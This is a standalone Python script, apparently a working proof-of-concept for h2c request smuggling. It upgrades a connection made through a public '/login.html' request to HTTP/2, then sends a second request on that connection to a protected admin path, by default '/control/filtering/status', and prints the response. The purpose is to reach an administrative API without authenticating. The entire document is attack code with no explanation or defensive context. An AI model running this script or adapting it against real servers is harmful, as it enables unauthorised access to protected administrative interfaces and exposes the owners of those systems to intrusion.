import socket, sys import h2.connection, h2.config, h2.events target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 path = sys.argv[3] if len(sys.argv) > 3 else "/control/filtering/status" s = socket.create_connection((target, port)) s.sendall( f"GET /login.html HTTP/1.1\r\n" f"Host: {target}\r\nConnection: Upgrade, HTTP2-Settings\r\n" f"Upgrade: h2c\r\nHTTP2-Settings: AAMAAABkAARAAP__AAIAAAAA\r\n\r\n".encode() ) buf = b"" while b"\r\n\r\n" not in buf: buf += s.recv(4096) if b"HTTP/1.1 101" not in buf: print("[-] Upgrade refused:\n" + buf.decode(errors="replace"), file=sys.stderr); sys.exit(1) print("[+] h2c upgrade successful — connection is now HTTP/2", file=sys.stderr) leftover = buf[buf.index(b"\r\n\r\n") + 4:] c = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True, header_encoding="utf-8")) c.initiate_upgrade_connection() # reserves stream 1 for the upgrade response s.sendall(c.data_to_send()) if leftover: c.receive_data(leftover) sid = c.get_next_available_stream_id() c.send_headers(sid, [ (":method", "GET"), (":path", path), (":scheme", "http"), (":authority", target), ("accept", "application/json"), ], end_stream=True) s.sendall(c.data_to_send()) # Read events but only print/exit on OUR stream id (stream 1 carries the # upgrade request's response — login.html HTML — which arrives first). body = b"" while True: chunk = s.recv(65535) if not chunk: break for ev in c.receive_data(chunk): if isinstance(ev, h2.events.ResponseReceived) and ev.stream_id == sid: print("[+] response status:", dict(ev.headers).get(":status"), file=sys.stderr) elif isinstance(ev, h2.events.DataReceived): if ev.stream_id == sid: body += ev.data c.acknowledge_received_data(ev.flow_controlled_length, ev.stream_id) elif isinstance(ev, h2.events.StreamEnded) and ev.stream_id == sid: print(body.decode(errors="replace")); s.close(); sys.exit(0) s.sendall(c.data_to_send())